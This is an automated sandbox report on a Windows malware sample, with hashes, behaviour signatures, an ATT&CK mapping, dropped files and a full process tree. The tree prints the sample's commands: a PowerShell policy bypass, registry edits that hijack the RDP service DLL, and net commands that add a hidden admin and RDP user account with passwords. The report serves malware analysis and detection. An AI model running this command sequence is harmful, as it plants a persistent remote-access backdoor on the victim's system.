Analysis

  • max time kernel
    58s
  • max time network
    123s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    17-11-2020 12:07

General

  • Target

    63a4fa287d067ff9083c6d2bf5735016.exe

  • Size

    3.1MB

  • MD5

    c6ebdaa3c37a66c4e19964b77df4c1bb

  • SHA1

    826e46cec09b7e0748b62fb398d3e955edb3cc9d

  • SHA256

    cbcfad5e750f0e032d59c23e09a993471555360688c4cd59b8ba7b896c2e4b88

  • SHA512

    63423c6ef2128a3da43a64dbd4669c54c5aca01d32886c51f37b915d64f0a61cd852c5f505d6b1fd6c220ce787e1f091e8038733ee617c36eb3dc2c4dd7f78a9

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies service 2 TTPs 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 67 IoCs
  • Suspicious use of WriteProcessMemory 70 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63a4fa287d067ff9083c6d2bf5735016.exe
    "C:\Users\Admin\AppData\Local\Temp\63a4fa287d067ff9083c6d2bf5735016.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:884
    • \??\c:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:904
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2sesfy4i\2sesfy4i.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES814B.tmp" "c:\Users\Admin\AppData\Local\Temp\2sesfy4i\CSC647A285BFC9B4B7C996BA649437DF517.TMP"
          4⤵
            PID:3732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:416
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2828
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1336
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies service
            • Modifies registry key
            PID:1416
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2188
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:808
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2756
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2228
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2744
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1796
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2388
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2308
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2260
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:804
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3372
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2668
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3816
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1656
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3712
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:3344
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc IzhHTYXO /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1332
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc IzhHTYXO /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1912
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc IzhHTYXO /add
                          3⤵
                            PID:1336
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1416
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3828
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:808
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:196
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2744
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                              3⤵
                                PID:3000
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:652
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3340
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:2252
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc IzhHTYXO
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2100
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc IzhHTYXO
                                2⤵
                                  PID:900
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc IzhHTYXO
                                    3⤵
                                      PID:2552
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C net user wgautilacc 1234
                                  1⤵
                                    PID:1636
                                    • C:\Windows\system32\net.exe
                                      net user wgautilacc 1234
                                      2⤵
                                        PID:2996
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc 1234
                                          3⤵
                                            PID:2188

                                      Network

                                      MITRE ATT&CK Matrix ATT&CK v6

                                      Persistence

                                      Account Manipulation

                                      1
                                      T1098

                                      Registry Run Keys / Startup Folder

                                      1
                                      T1060

                                      Modify Existing Service

                                      1
                                      T1031

                                      Defense Evasion

                                      Modify Registry

                                      3
                                      T1112

                                      Lateral Movement

                                      Remote Desktop Protocol

                                      1
                                      T1076

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                        MD5

                                        525c8172539cddd625bd3fe2e504b75c

                                        SHA1

                                        89b62752eaa65c9caf68b4229216b3bfd4091b93

                                        SHA256

                                        66a60ca54dba739c590f7644d6e5ef731c51ac80835786f8155fd5dcf8ec3ef4

                                        SHA512

                                        4de4d86027cd2f19b274fda37a4319d4f3cdd3729d83f5d58781ce14713403c095455df1434216eeed6a6d06439a92e844edecb7d05a989cf4625e868d53bc31

                                      • C:\Users\Admin\AppData\Local\Temp\2sesfy4i\2sesfy4i.dll
                                        MD5

                                        307d627970009e61576993ca816307e2

                                        SHA1

                                        4666289a2814342c4e751eccf24be83b8bbeb00b

                                        SHA256

                                        344ff17a5817c287edbbd84374b23d18a8a55dd93210cb79b302976017099579

                                        SHA512

                                        06569fd87f2bfe07b147b84196b7bb911a1a9c4865ee48e975ed67a4fa0e0deb1420112238dfbe8ffd5a1a19bdad30986b5a00e68608a107a997cc363e15f0b1

                                      • C:\Users\Admin\AppData\Local\Temp\RES814B.tmp
                                        MD5

                                        0ebacbd0c69446f1aa2b174c3818b2e7

                                        SHA1

                                        a1b8793a44720365835a3bdb0653e6dfa6be0232

                                        SHA256

                                        0118cba2d7031db08eef1a0e087c55313f362bc0d9d2f893336982389b408da5

                                        SHA512

                                        6620d01452d0314a2d5ce1d0ea18387035149340658624773c63cc2a1b54710f079feb55aa03d93acf964640490f1b4ad9ace88e596bfca9dc86a728cbf28289

                                      • C:\Users\Admin\AppData\Local\Temp\get-points.ps1
                                        MD5

                                        41d1a9d1cbee90f1e5f27fdfb299f8b8

                                        SHA1

                                        1e9ac27006a7c364649265246fccbd719418ceab

                                        SHA256

                                        0f6c089b4cefa4a454150f08519573283b1a38e2c19cd7b04855a05d686d41b4

                                        SHA512

                                        f178f88d0491cf72c3d4d591ab1d428691474a4c443822a0d270555c9dc4d05932057847b0e7106d564e6c9ddb33c0649e472258afca10696edc3dbb00f33422

                                      • \??\c:\Users\Admin\AppData\Local\Temp\2sesfy4i\2sesfy4i.0.cs
                                        MD5

                                        8e55cb0ca998472ab6d3e295e0c4dd50

                                        SHA1

                                        407d07a29b89fc3afc246c0680d5857e3f51019d

                                        SHA256

                                        63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

                                        SHA512

                                        c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

                                      • \??\c:\Users\Admin\AppData\Local\Temp\2sesfy4i\2sesfy4i.cmdline
                                        MD5

                                        e591dba83245fa5a6bdb1d2e65054d65

                                        SHA1

                                        7eb42778e33022b0ee860ddde1fcec63276c2c8f

                                        SHA256

                                        4fa6d06b1e4691a3009ab46211aa99f09569c7dab52de8e2a6d58e8e3749e11d

                                        SHA512

                                        dc932d09f9b0c91ed6ad91c2366cb87272f4f9c95d2162cbf9745a36c79af432518e6888c33556ccb95e9815f01fd3feab8f49ca52960b24c698fee5401add89

                                      • \??\c:\Users\Admin\AppData\Local\Temp\2sesfy4i\CSC647A285BFC9B4B7C996BA649437DF517.TMP
                                        MD5

                                        e87bbe792b5b39dddf3514d2c5a7a092

                                        SHA1

                                        24949cd62011e8c978d96309a363c8d98c5f79a1

                                        SHA256

                                        0669ed40040624f6716d41a09e4b8a96b24597d0780fbc30a578eb9a185df36d

                                        SHA512

                                        728d0002ed901fdb178f492fad24034021fb1f04c3497235493630a4567ac0af75354d9a32b37c587d825aa66e5f43fbfb30c985d0b004b1de69822275d6e3e9

                                      • \Windows\Branding\mediasrv.png
                                        MD5

                                        37fb7ba711ffbe9d6ebb27d54e827966

                                        SHA1

                                        4d4d9303e011bcb14720b24239a1aacd58122f47

                                        SHA256

                                        81b857da0878a957125253a0a5eb80d64c7ab9826797304813d8ed3c3e7f84c5

                                        SHA512

                                        3f0358b9e7d89fba96e6e9bbe804c26b886a4678a6aa49bc2e784bf180b86c863e3e9a54da71f6856f5b4bb7d28b4e56269dbf31015fdba3b4b808eb66e3aedf

                                      • \Windows\Branding\mediasvc.png
                                        MD5

                                        2f916498a393e2f0d008d33a74c062ba

                                        SHA1

                                        404d52d4253ef3843ae3f2c4aff050f37fcd3f08

                                        SHA256

                                        d5038b5227bc35e157dd225c7bb54f0bcf3ba8d8b48cbb930b4ccb65c23d3412

                                        SHA512

                                        d952a820a966c6cadc1750947d053d01e4e6476d074b6cd460555cc9f8417bd7412beebb65cfa8a121edcce9aab110a5909251146fce703d1b4e984788486f10

                                      • memory/416-18-0x0000000000000000-mapping.dmp
                                      • memory/416-19-0x00007FFA6A2C0000-0x00007FFA6ACAC000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/804-42-0x0000000000000000-mapping.dmp
                                      • memory/808-34-0x0000000000000000-mapping.dmp
                                      • memory/808-51-0x0000000000000000-mapping.dmp
                                      • memory/884-1-0x0000000000CB0000-0x0000000000CB1000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/900-58-0x0000000000000000-mapping.dmp
                                      • memory/904-15-0x000001CC06740000-0x000001CC06741000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/904-17-0x000001CC293D0000-0x000001CC293D1000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/904-16-0x000001CC29040000-0x000001CC29041000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/904-5-0x000001CC06760000-0x000001CC06761000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/904-3-0x00007FFA6A2C0000-0x00007FFA6ACAC000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/904-4-0x000001CC06290000-0x000001CC06291000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/904-2-0x0000000000000000-mapping.dmp
                                      • memory/904-6-0x000001CC20A30000-0x000001CC20A31000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/1336-49-0x0000000000000000-mapping.dmp
                                      • memory/1336-31-0x0000000000000000-mapping.dmp
                                      • memory/1416-32-0x0000000000000000-mapping.dmp
                                      • memory/1796-38-0x0000000000000000-mapping.dmp
                                      • memory/1912-48-0x0000000000000000-mapping.dmp
                                      • memory/1976-8-0x0000000000000000-mapping.dmp
                                      • memory/2188-33-0x0000000000000000-mapping.dmp
                                      • memory/2188-61-0x0000000000000000-mapping.dmp
                                      • memory/2228-36-0x0000000000000000-mapping.dmp
                                      • memory/2252-57-0x0000000000000000-mapping.dmp
                                      • memory/2260-41-0x0000000000000000-mapping.dmp
                                      • memory/2308-40-0x0000000000000000-mapping.dmp
                                      • memory/2388-39-0x0000000000000000-mapping.dmp
                                      • memory/2552-59-0x0000000000000000-mapping.dmp
                                      • memory/2668-54-0x0000000000000000-mapping.dmp
                                      • memory/2744-37-0x0000000000000000-mapping.dmp
                                      • memory/2744-52-0x0000000000000000-mapping.dmp
                                      • memory/2756-35-0x0000000000000000-mapping.dmp
                                      • memory/2828-25-0x0000000000000000-mapping.dmp
                                      • memory/2828-27-0x00007FFA6A2C0000-0x00007FFA6ACAC000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/2996-60-0x0000000000000000-mapping.dmp
                                      • memory/3000-53-0x0000000000000000-mapping.dmp
                                      • memory/3340-55-0x0000000000000000-mapping.dmp
                                      • memory/3344-47-0x0000000000000000-mapping.dmp
                                      • memory/3372-43-0x0000000000000000-mapping.dmp
                                      • memory/3712-22-0x0000000000000000-mapping.dmp
                                      • memory/3712-46-0x0000000000000000-mapping.dmp
                                      • memory/3712-23-0x00007FFA6A2C0000-0x00007FFA6ACAC000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/3732-11-0x0000000000000000-mapping.dmp
                                      • memory/3816-56-0x0000000000000000-mapping.dmp
                                      • memory/3828-50-0x0000000000000000-mapping.dmp